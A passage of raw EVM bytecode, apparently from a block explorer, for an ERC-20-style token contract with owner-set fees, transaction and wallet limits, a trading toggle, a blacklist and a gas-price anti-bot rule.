54093311610275578063787a051b11610244578063787a051b1461075a5780637cc5d7eb1461077a5780637d1db4a51461079a5780637df4d744146107b057600080fd5b806370540933146106d05780637070c898146106ef57806370a082311461070f578063715018a61461074557600080fd5b806363692440116102b15780636369244014610654578063658d4b7f146106845780636827e764146106a45780636b67c4df146106ba57600080fd5b806345599136146105dc5780634a74bb02146105f2578063571ac8b0146106145780635c85974f1461063457600080fd5b8063251b87871161035a578063399c797611610329578063399c79761461055c5780633f4218e01461057c57806343f48fbd146105ac57806344de2e4c146105c257600080fd5b8063251b8787146104eb5780632aea52ab1461050b5780632b112e491461052b578063313ce5671461054057600080fd5b806318160ddd1161039657806318160ddd1461048b57806319f73484146104a05780631df4ccfc146104b557806323b872dd146104cb57600080fd5b80630445b667146103d357806306fdde03146103fc578063095ea7b3146104395780630975d2941461046957600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e9601d5481565b6040519081526020015b60405180910390f35b34801561040857600080fd5b5060408051808201909152600b81526a11dbdbd908141bddd95b1b60aa1b60208201525b6040516103f39190612596565b34801561044557600080fd5b506104596104543660046125fc565b610bfb565b60405190151581526020016103f3565b34801561047557600080fd5b50610489610484366004612636565b610c68565b005b34801561049757600080fd5b506003546103e9565b3480156104ac57600080fd5b50610489610cbf565b3480156104c157600080fd5b506103e9600f5481565b3480156104d757600080fd5b506104596104e6366004612654565b610cf7565b3480156104f757600080fd5b50610489610506366004612695565b610db9565b34801561051757600080fd5b5061048961052636600461271b565b610e8a565b34801561053757600080fd5b506103e9610f00565b34801561054c57600080fd5b50604051601281526020016103f3565b34801561056857600080fd5b50610489610577366004612738565b610f71565b34801561058857600080fd5b50610459610597366004612771565b60096020526000908152604090205460ff1681565b3480156105b857600080fd5b506103e960155481565b3480156105ce57600080fd5b506006546104599060ff1681565b3480156105e857600080fd5b506103e9600e5481565b3480156105fe57600080fd5b50601a5461045990640100000000900460ff1681565b34801561062057600080fd5b5061045961062f366004612771565b610fc6565b34801561064057600080fd5b5061048961064f36600461278e565b610fd4565b34801561066057600080fd5b5061045961066f366004612771565b601c6020526000908152604090205460ff1681565b34801561069057600080fd5b5061048961069f366004612738565b611040565b3480156106b057600080fd5b506103e9600d5481565b3480156106c657600080fd5b506103e9600c5481565b3480156106dc57600080fd5b5060115461045990610100900460ff1681565b3480156106fb57600080fd5b5061048961070a36600461271b565b611095565b34801561071b57600080fd5b506103e961072a366004612771565b6001600160a01b031660009081526007602052604090205490565b34801561075157600080fd5b506104896110db565b34801561076657600080fd5b5061048961077536600461278e565b61114f565b34801561078657600080fd5b50610489610795366004612738565b6111c1565b3480156107a657600080fd5b506103e960045481565b3480156107bc57600080fd5b50610489611216565b3480156107d157600080fd5b506103e960055481565b3480156107e757600080fd5b506104596107f63660046125fc565b61124d565b34801561080757600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016103f3565b34801561083957600080fd5b50610459610848366004612771565b600a6020526000908152604090205460ff1681565b34801561086957600080fd5b506000546001600160a01b0316610815565b34801561088757600080fd5b5061048961089636600461271b565b611341565b3480156108a757600080fd5b506104896108b63660046127a7565b611385565b3480156108c757600080fd5b506104896108d6366004612738565b61140b565b3480156108e757600080fd5b506040805180820190915260048152634a504f5760e01b602082015261042c565b34801561091457600080fd5b506103e9600b5481565b34801561092a57600080fd5b50610489610939366004612803565b611460565b34801561094a57600080fd5b506011546104599062010000900460ff1681565b34801561096a57600080fd5b50601754610815906001600160a01b031681565b34801561098a57600080fd5b506104596109993660046125fc565b6114ea565b3480156109aa57600080fd5b50601a5461045990610100900460ff1681565b3480156109c957600080fd5b50601a546104599062010000900460ff1681565b3480156109e957600080fd5b506104896109f836600461271b565b6114f7565b348015610a0957600080fd5b50610489610a1836600461278e565b611534565b348015610a2957600080fd5b506103e960195481565b348015610a3f57600080fd5b50610459610a4e366004612771565b601b6020526000908152604090205460ff1681565b348015610a6f57600080fd5b506104896115a4565b348015610a8457600080fd5b506103e960105481565b348015610a9a57600080fd5b50601a546104599065010000000000900460ff1681565b348015610abd57600080fd5b506103e9610acc36600461283e565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b348015610b0357600080fd5b50610459610b12366004612771565b60186020526000908152604090205460ff1681565b348015610b3357600080fd5b506011546104599060ff1681565b348015610b4d57600080fd5b50610489610b5c36600461278e565b6115dd565b348015610b6d57600080fd5b50610489610b7c366004612771565b611649565b348015610b8d57600080fd5b50610489610b9c366004612771565b611733565b348015610bad57600080fd5b50610489610bbc366004612738565b6117c4565b348015610bcd57600080fd5b50601654610815906001600160a01b031681565b348015610bed57600080fd5b50601a546104599060ff1681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610c569086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610c9b5760405162461bcd60e51b8152600401610c929061286c565b60405180910390fd5b601a80549215156401000000000264ff000000001990931692909217909155601d55565b6000546001600160a01b03163314610ce95760405162461bcd60e51b8152600401610c929061286c565b601a805462ff000019169055565b6001600160a01b038316600090815260086020908152604080832033845290915281205460001914610da4576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600882528381203382529091529190912054610d7f918490611819565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610daf848484611853565b90505b9392505050565b6000546001600160a01b03163314610de35760405162461bcd60e51b8152600401610c929061286c565b601a5462010000900460ff16610e155760405162461bcd60e51b81526020600482015260006024820152604401610c92565b60005b82811015610e845781601b6000868685818110610e3757610e376128a1565b9050602002016020810190610e4c9190612771565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610e7d816128cd565b9050610e18565b50505050565b6000546001600160a01b03163314610eb45760405162461bcd60e51b8152600401610c929061286c565b601a5462010000900460ff16610ee65760405162461bcd60e51b81526020600482015260006024820152604401610c92565b601a80549115156101000261ff0019909216919091179055565b60076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5461dead60009081527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d546003549192610f6c929091610f669190611d21565b90611d21565b905090565b6000546001600160a01b03163314610f9b5760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6000610c6282600019610bfb565b6000546001600160a01b03163314610ffe5760405162461bcd60e51b8152600401610c929061286c565b600581101561101f5760405162461bcd60e51b8152600401610c92906128e6565b6103e881600354611030919061292c565b61103a9190612943565b60045550565b6000546001600160a01b0316331461106a5760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110bf5760405162461bcd60e51b8152600401610c929061286c565b60118054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146111055760405162461bcd60e51b8152600401610c929061286c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146111795760405162461bcd60e51b8152600401610c929061286c565b47336108fc606461118a858561292c565b6111949190612943565b6040518115909202916000818181858888f193505050501580156111bc573d6000803e3d6000fd5b505050565b6000546001600160a01b031633146111eb5760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112405760405162461bcd60e51b8152600401610c929061286c565b601a805461ff0019169055565b600080546001600160a01b031633146112785760405162461bcd60e51b8152600401610c929061286c565b306001600160a01b038416036112d05760405162461bcd60e51b815260206004820152601c60248201527f43616e742072656d6f766520746865206e617469766520746f6b656e000000006044820152606401610c92565b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561131d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db29190612965565b6000546001600160a01b0316331461136b5760405162461bcd60e51b8152600401610c929061286c565b601180549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146113af5760405162461bcd60e51b8152600401610c929061286c565b601180546301000000600160b81b03191663010000006001600160a01b0394851602179055601280546001600160a01b031990811695841695909517905560138054851693831693909317909255601480549093169116179055565b6000546001600160a01b031633146114355760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461148a5760405162461bcd60e51b8152600401610c929061286c565b600b859055600c849055600d839055600e8290556114b4826114ae85818989611d63565b90611d63565b600f8190556114c4908290612982565b6010819055600f546019916114d99190612982565b106114e357600080fd5b5050505050565b6000610db2338484611853565b6000546001600160a01b031633146115215760405162461bcd60e51b8152600401610c929061286c565b6011805460ff1916911515919091179055565b6000546001600160a01b0316331461155e5760405162461bcd60e51b8152600401610c929061286c565b601a5462010000900460ff166115905760405162461bcd60e51b81526020600482015260006024820152604401610c92565b61159e81633b9aca0061292c565b60155550565b6000546001600160a01b031633146115ce5760405162461bcd60e51b8152600401610c929061286c565b601a805460ff19166001179055565b6000546001600160a01b031633146116075760405162461bcd60e51b8152600401610c929061286c565b60058110156116285760405162461bcd60e51b8152600401610c92906128e6565b6103e881600354611639919061292c565b6116439190612943565b60055550565b6000546001600160a01b031633146116735760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b0381166116d85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c92565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461175d5760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03166000908152600160208181526040808420805460ff199081168517909155600983528185208054821685179055600a83528185208054821685179055601c835281852080548216909417909355601b90915290912080549091169055565b6000546001600160a01b031633146117ee5760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000818484111561183d5760405162461bcd60e51b8152600401610c929190612596565b50600061184a8486612995565b95945050505050565b601a546000906301000000900460ff161561187a57611873848484611dc2565b9050610db2565b6001600160a01b03841660009081526001602052604090205460ff161580156118bc57506001600160a01b03831660009081526001602052604090205460ff16155b156118ed57601a5460ff166118ed5760405162461bcd60e51b81526020600482015260006024820152604401610c92565b6004548211158061193957506001600160a01b0384166000908152600a602052604090205460ff16801561193957506001600160a01b0383166000908152600a602052604090205460ff165b6119705760405162461bcd60e51b8152602060048201526008602482015267151608131a5b5a5d60c21b6044820152606401610c92565b6001600160a01b03831660009081526018602052604090205460ff1680156119a25750601a546301000000900460ff16155b80156119b85750601a54640100000000900460ff165b80156119d55750601d543060009081526007602052604090205410155b156119e2576119e2611e96565b601954158015611a0a57506001600160a01b03831660009081526018602052604090205460ff165b15611a57576001600160a01b038416600090815260076020526040902054611a4e5760405162461bcd60e51b81526020600482015260006024820152604401610c92565b611a5743601955565b601a54610100900460ff1615611abe576001600160a01b0384166000908152601b602052604090205460ff1615611abe5760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b6044820152606401610c92565b6017546001600160a01b038481169116148015611af457506001600160a01b03841660009081526001602052604090205460ff16155b15611b44576015543a1115611b445760405162461bcd60e51b81526020600482015260166024820152751f29b2b6361037b7103bb0b63632ba1030b1ba34b7b760511b6044820152606401610c92565b6015543a10158015611b6457506017546001600160a01b03848116911614155b15611b8d576001600160a01b0383166000908152601b60205260409020805460ff191660011790555b604080516020808201835260008083526001600160a01b038816815260079091529190912054611bbe918490611819565b6001600160a01b038086166000908152600760209081526040808320949094559186168152600a909152205460ff16158015611bfc575060065460ff165b15611c4f576005546001600160a01b038416600090815260076020526040902054611c279084611d63565b1115611c4f5760405162461bcd60e51b81526020600482015260006024820152604401610c92565b6001600160a01b03841660009081526009602052604081205460ff16158015611c9157506001600160a01b03841660009081526009602052604090205460ff16155b611c9b5782611ca6565b611ca6858585612276565b6001600160a01b038516600090815260076020526040902054909150611ccc9082611d63565b6001600160a01b038086166000818152600760205260409081902093909355915190871690600080516020612a6583398151915290611d0e9085815260200190565b60405180910390a3506001949350505050565b6000610db283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611819565b600080611d708385612982565b905083811015610db25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c92565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054611e13918490611819565b6001600160a01b038086166000908152600760205260408082209390935590851681522054611e429083611d63565b6001600160a01b038085166000818152600760205260409081902093909355915190861690600080516020612a6583398151915290611e849086815260200190565b60405180910390a35060019392505050565b601a805463ff0000001916630100000017905530600090815260076020526040812054600e54600f54919291611eeb91600291611ee591611ed79190611d21565b600b54611ee59087906124a9565b9061252b565b90506000611ef98383611d21565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611f3357611f336128a1565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611f8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb091906129a8565b81600181518110611fc357611fc36128a1565b6001600160a01b03928316602091820292909201015260165460405163791ac94760e01b815291169063791ac947906120099085906000908690309042906004016129c5565b600060405180830381600087803b15801561202357600080fd5b505af1158015612037573d6000803e3d6000fd5b5050600b54479250600091506120619061205290600261252b565b600e54600f54610f6691611d21565b905060006120836002611ee584611ee5600b54886124a990919063ffffffff16565b905060006120a083611ee5600c54876124a990919063ffffffff16565b905060006120bd84611ee5600d54886124a990919063ffffffff16565b6012546040519192506000916001600160a01b039091169061753090859084818181858888f193505050503d8060008114612114576040519150601f19603f3d011682016040523d82523d6000602084013e612119565b606091505b5050601354604051600093506001600160a01b03909116915061753090849084818181858888f193505050503d8060008114612171576040519150601f19603f3d011682016040523d82523d6000602084013e612176565b606091505b5060009250508915905061225d5760165460115460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b036301000000909204821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af11580156121fb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122209190612a36565b505060408051868152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b5050601a805463ff000000191690555050505050505050565b6001600160a01b0382166000908152601860205260408120548190819060ff1680156122a95750601154610100900460ff165b156122c057600e546010546122bd91611d21565b91505b6001600160a01b03861660009081526018602052604090205460ff1680156122ea575060115460ff165b1561230157600e54600f546122fe91611d21565b91505b6001600160a01b03861660009081526018602052604090205460ff1615801561234357506001600160a01b03851660009081526018602052604090205460ff16155b156123745760115462010000900460ff161561236f57600e5460105461236891611d21565b9150612374565b600091505b60008211801561238657506000600e54115b1561241b576123a56064611ee5600e54876124a990919063ffffffff16565b6014546001600160a01b03166000908152600760205260409020549091506123cd9082611d63565b601480546001600160a01b0390811660009081526007602090815260409182902094909455915491518481529181169290891691600080516020612a65833981519152910160405180910390a35b600061242c6064611ee587866124a9565b306000908152600760205260409020549091506124499082611d63565b30600081815260076020526040908190209290925590516001600160a01b03891690600080516020612a65833981519152906124889085815260200190565b60405180910390a361249e82610f668784611d21565b979650505050505050565b6000826000036124bb57506000610c62565b60006124c7838561292c565b9050826124d48583612943565b14610db25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c92565b6000610db283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836125895760405162461bcd60e51b8152600401610c929190612596565b50600061184a8486612943565b600060208083528351808285015260005b818110156125c3578581018301518582016040015282016125a7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146125f957600080fd5b50565b6000806040838503121561260f57600080fd5b823561261a816125e4565b946020939093013593505050565b80151581146125f957600080fd5b6000806040838503121561264957600080fd5b823561261a81612628565b60008060006060848603121561266957600080fd5b8335612674816125e4565b92506020840135612684816125e4565b929592945050506040919091013590565b6000806000604084860312156126aa57600080fd5b833567ffffffffffffffff808211156126c257600080fd5b818601915086601f8301126126d657600080fd5b8135818111156126e557600080fd5b8760208260051b85010111156126fa57600080fd5b6020928301955093505084013561271081612628565b809150509250925092565b60006020828403121561272d57600080fd5b8135610db281612628565b6000806040838503121561274b57600080fd5b8235612756816125e4565b9150602083013561276681612628565b809150509250929050565b60006020828403121561278357600080fd5b8135610db2816125e4565b6000602082840312156127a057600080fd5b5035919050565b600080600080608085870312156127bd57600080fd5b84356127c8816125e4565b935060208501356127d8816125e4565b925060408501356127e8816125e4565b915060608501356127f8816125e4565b939692955090935050565b600080600080600060a0868803121561281b57600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000806040838503121561285157600080fd5b823561285c816125e4565b91506020830135612766816125e4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016128df576128df6128b7565b5060010190565b60208082526026908201527f57616c6c6574204c696d6974206e6565647320746f206265206174206c6561736040820152657420302e352560d01b606082015260800190565b8082028115828204841417610c6257610c626128b7565b60008261296057634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561297757600080fd5b8151610db281612628565b80820180821115610c6257610c626128b7565b81810381811115610c6257610c626128b7565b6000602082840312156129ba57600080fd5b8151610db2816125e4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612a155784516001600160a01b0316835293830193918301916001016129f0565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612a4b57600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220e50a47ee641df222d3b78e8fdb3eac9f95513da6e795eb335370cc04105774b364736f6c63430008130033

Deployed Bytecode

0x6080604052600436106103c75760003560e01c8063807c2d9c116101f2578063bb54c40e1161010d578063e5e31b13116100a0578063f80f5dd51161006f578063f80f5dd514610b81578063f84ba65d14610ba1578063f887ea4014610bc1578063ffb54a9914610be157600080fd5b8063e5e31b1314610af7578063f0ef821f14610b27578063f1d5f51714610b41578063f2fde38b14610b6157600080fd5b8063c9567bf9116100dc578063c9567bf914610a63578063ca987b0e14610a78578063da00097d14610a8e578063dd62ed3e14610ab157600080fd5b8063bb54c40e146109dd578063bebc8e8e146109fd578063bf56b37114610a1d578063c10d941714610a3357600080fd5b806395d89b4111610185578063a8aa1b3111610154578063a8aa1b311461095e578063a9059cbb1461097e578063acca48661461099e578063b37dd690146109bd57600080fd5b806395d89b41146108db57806398118cb4146109085780639e1211171461091e578063a53559891461093e57600080fd5b80638da5cb5b116101c15780638da5cb5b1461085d578063900d96111461087b57806393c173221461089b57806394213c89146108bb57600080fd5b8063807c2d9c146107c55780638637b069146107db578063893d20e8146107fb5780638b42507f1461082d57600080fd5b806345599136116102e25780637054093311610275578063787a051b11610244578063787a051b1461075a5780637cc5d7eb1461077a5780637d1db4a51461079a5780637df4d744146107b057600080fd5b806370540933146106d05780637070c898146106ef57806370a082311461070f578063715018a61461074557600080fd5b806363692440116102b15780636369244014610654578063658d4b7f146106845780636827e764146106a45780636b67c4df146106ba57600080fd5b806345599136146105dc5780634a74bb02146105f2578063571ac8b0146106145780635c85974f1461063457600080fd5b8063251b87871161035a578063399c797611610329578063399c79761461055c5780633f4218e01461057c57806343f48fbd146105ac57806344de2e4c146105c257600080fd5b8063251b8787146104eb5780632aea52ab1461050b5780632b112e491461052b578063313ce5671461054057600080fd5b806318160ddd1161039657806318160ddd1461048b57806319f73484146104a05780631df4ccfc146104b557806323b872dd146104cb57600080fd5b80630445b667146103d357806306fdde03146103fc578063095ea7b3146104395780630975d2941461046957600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e9601d5481565b6040519081526020015b60405180910390f35b34801561040857600080fd5b5060408051808201909152600b81526a11dbdbd908141bddd95b1b60aa1b60208201525b6040516103f39190612596565b34801561044557600080fd5b506104596104543660046125fc565b610bfb565b60405190151581526020016103f3565b34801561047557600080fd5b50610489610484366004612636565b610c68565b005b34801561049757600080fd5b506003546103e9565b3480156104ac57600080fd5b50610489610cbf565b3480156104c157600080fd5b506103e9600f5481565b3480156104d757600080fd5b506104596104e6366004612654565b610cf7565b3480156104f757600080fd5b50610489610506366004612695565b610db9565b34801561051757600080fd5b5061048961052636600461271b565b610e8a565b34801561053757600080fd5b506103e9610f00565b34801561054c57600080fd5b50604051601281526020016103f3565b34801561056857600080fd5b50610489610577366004612738565b610f71565b34801561058857600080fd5b50610459610597366004612771565b60096020526000908152604090205460ff1681565b3480156105b857600080fd5b506103e960155481565b3480156105ce57600080fd5b506006546104599060ff1681565b3480156105e857600080fd5b506103e9600e5481565b3480156105fe57600080fd5b50601a5461045990640100000000900460ff1681565b34801561062057600080fd5b5061045961062f366004612771565b610fc6565b34801561064057600080fd5b5061048961064f36600461278e565b610fd4565b34801561066057600080fd5b5061045961066f366004612771565b601c6020526000908152604090205460ff1681565b34801561069057600080fd5b5061048961069f366004612738565b611040565b3480156106b057600080fd5b506103e9600d5481565b3480156106c657600080fd5b506103e9600c5481565b3480156106dc57600080fd5b5060115461045990610100900460ff1681565b3480156106fb57600080fd5b5061048961070a36600461271b565b611095565b34801561071b57600080fd5b506103e961072a366004612771565b6001600160a01b031660009081526007602052604090205490565b34801561075157600080fd5b506104896110db565b34801561076657600080fd5b5061048961077536600461278e565b61114f565b34801561078657600080fd5b50610489610795366004612738565b6111c1565b3480156107a657600080fd5b506103e960045481565b3480156107bc57600080fd5b50610489611216565b3480156107d157600080fd5b506103e960055481565b3480156107e757600080fd5b506104596107f63660046125fc565b61124d565b34801561080757600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016103f3565b34801561083957600080fd5b50610459610848366004612771565b600a6020526000908152604090205460ff1681565b34801561086957600080fd5b506000546001600160a01b0316610815565b34801561088757600080fd5b5061048961089636600461271b565b611341565b3480156108a757600080fd5b506104896108b63660046127a7565b611385565b3480156108c757600080fd5b506104896108d6366004612738565b61140b565b3480156108e757600080fd5b506040805180820190915260048152634a504f5760e01b602082015261042c565b34801561091457600080fd5b506103e9600b5481565b34801561092a57600080fd5b50610489610939366004612803565b611460565b34801561094a57600080fd5b506011546104599062010000900460ff1681565b34801561096a57600080fd5b50601754610815906001600160a01b031681565b34801561098a57600080fd5b506104596109993660046125fc565b6114ea565b3480156109aa57600080fd5b50601a5461045990610100900460ff1681565b3480156109c957600080fd5b50601a546104599062010000900460ff1681565b3480156109e957600080fd5b506104896109f836600461271b565b6114f7565b348015610a0957600080fd5b50610489610a1836600461278e565b611534565b348015610a2957600080fd5b506103e960195481565b348015610a3f57600080fd5b50610459610a4e366004612771565b601b6020526000908152604090205460ff1681565b348015610a6f57600080fd5b506104896115a4565b348015610a8457600080fd5b506103e960105481565b348015610a9a57600080fd5b50601a546104599065010000000000900460ff1681565b348015610abd57600080fd5b506103e9610acc36600461283e565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b348015610b0357600080fd5b50610459610b12366004612771565b60186020526000908152604090205460ff1681565b348015610b3357600080fd5b506011546104599060ff1681565b348015610b4d57600080fd5b50610489610b5c36600461278e565b6115dd565b348015610b6d57600080fd5b50610489610b7c366004612771565b611649565b348015610b8d57600080fd5b50610489610b9c366004612771565b611733565b348015610bad57600080fd5b50610489610bbc366004612738565b6117c4565b348015610bcd57600080fd5b50601654610815906001600160a01b031681565b348015610bed57600080fd5b50601a546104599060ff1681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610c569086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610c9b5760405162461bcd60e51b8152600401610c929061286c565b60405180910390fd5b601a80549215156401000000000264ff000000001990931692909217909155601d55565b6000546001600160a01b03163314610ce95760405162461bcd60e51b8152600401610c929061286c565b601a805462ff000019169055565b6001600160a01b038316600090815260086020908152604080832033845290915281205460001914610da4576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600882528381203382529091529190912054610d7f918490611819565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610daf848484611853565b90505b9392505050565b6000546001600160a01b03163314610de35760405162461bcd60e51b8152600401610c929061286c565b601a5462010000900460ff16610e155760405162461bcd60e51b81526020600482015260006024820152604401610c92565b60005b82811015610e845781601b6000868685818110610e3757610e376128a1565b9050602002016020810190610e4c9190612771565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610e7d816128cd565b9050610e18565b50505050565b6000546001600160a01b03163314610eb45760405162461bcd60e51b8152600401610c929061286c565b601a5462010000900460ff16610ee65760405162461bcd60e51b81526020600482015260006024820152604401610c92565b601a80549115156101000261ff0019909216919091179055565b60076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5461dead60009081527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d546003549192610f6c929091610f669190611d21565b90611d21565b905090565b6000546001600160a01b03163314610f9b5760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6000610c6282600019610bfb565b6000546001600160a01b03163314610ffe5760405162461bcd60e51b8152600401610c929061286c565b600581101561101f5760405162461bcd60e51b8152600401610c92906128e6565b6103e881600354611030919061292c565b61103a9190612943565b60045550565b6000546001600160a01b0316331461106a5760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110bf5760405162461bcd60e51b8152600401610c929061286c565b60118054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146111055760405162461bcd60e51b8152600401610c929061286c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146111795760405162461bcd60e51b8152600401610c929061286c565b47336108fc606461118a858561292c565b6111949190612943565b6040518115909202916000818181858888f193505050501580156111bc573d6000803e3d6000fd5b505050565b6000546001600160a01b031633146111eb5760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112405760405162461bcd60e51b8152600401610c929061286c565b601a805461ff0019169055565b600080546001600160a01b031633146112785760405162461bcd60e51b8152600401610c929061286c565b306001600160a01b038416036112d05760405162461bcd60e51b815260206004820152601c60248201527f43616e742072656d6f766520746865206e617469766520746f6b656e000000006044820152606401610c92565b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561131d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db29190612965565b6000546001600160a01b0316331461136b5760405162461bcd60e51b8152600401610c929061286c565b601180549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146113af5760405162461bcd60e51b8152600401610c929061286c565b601180546301000000600160b81b03191663010000006001600160a01b0394851602179055601280546001600160a01b031990811695841695909517905560138054851693831693909317909255601480549093169116179055565b6000546001600160a01b031633146114355760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461148a5760405162461bcd60e51b8152600401610c929061286c565b600b859055600c849055600d839055600e8290556114b4826114ae85818989611d63565b90611d63565b600f8190556114c4908290612982565b6010819055600f546019916114d99190612982565b106114e357600080fd5b5050505050565b6000610db2338484611853565b6000546001600160a01b031633146115215760405162461bcd60e51b8152600401610c929061286c565b6011805460ff1916911515919091179055565b6000546001600160a01b0316331461155e5760405162461bcd60e51b8152600401610c929061286c565b601a5462010000900460ff166115905760405162461bcd60e51b81526020600482015260006024820152604401610c92565b61159e81633b9aca0061292c565b60155550565b6000546001600160a01b031633146115ce5760405162461bcd60e51b8152600401610c929061286c565b601a805460ff19166001179055565b6000546001600160a01b031633146116075760405162461bcd60e51b8152600401610c929061286c565b60058110156116285760405162461bcd60e51b8152600401610c92906128e6565b6103e881600354611639919061292c565b6116439190612943565b60055550565b6000546001600160a01b031633146116735760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b0381166116d85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c92565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461175d5760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03166000908152600160208181526040808420805460ff199081168517909155600983528185208054821685179055600a83528185208054821685179055601c835281852080548216909417909355601b90915290912080549091169055565b6000546001600160a01b031633146117ee5760405162461bcd60e51b8152600401610c929061286c565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000818484111561183d5760405162461bcd60e51b8152600401610c929190612596565b50600061184a8486612995565b95945050505050565b601a546000906301000000900460ff161561187a57611873848484611dc2565b9050610db2565b6001600160a01b03841660009081526001602052604090205460ff161580156118bc57506001600160a01b03831660009081526001602052604090205460ff16155b156118ed57601a5460ff166118ed5760405162461bcd60e51b81526020600482015260006024820152604401610c92565b6004548211158061193957506001600160a01b0384166000908152600a602052604090205460ff16801561193957506001600160a01b0383166000908152600a602052604090205460ff165b6119705760405162461bcd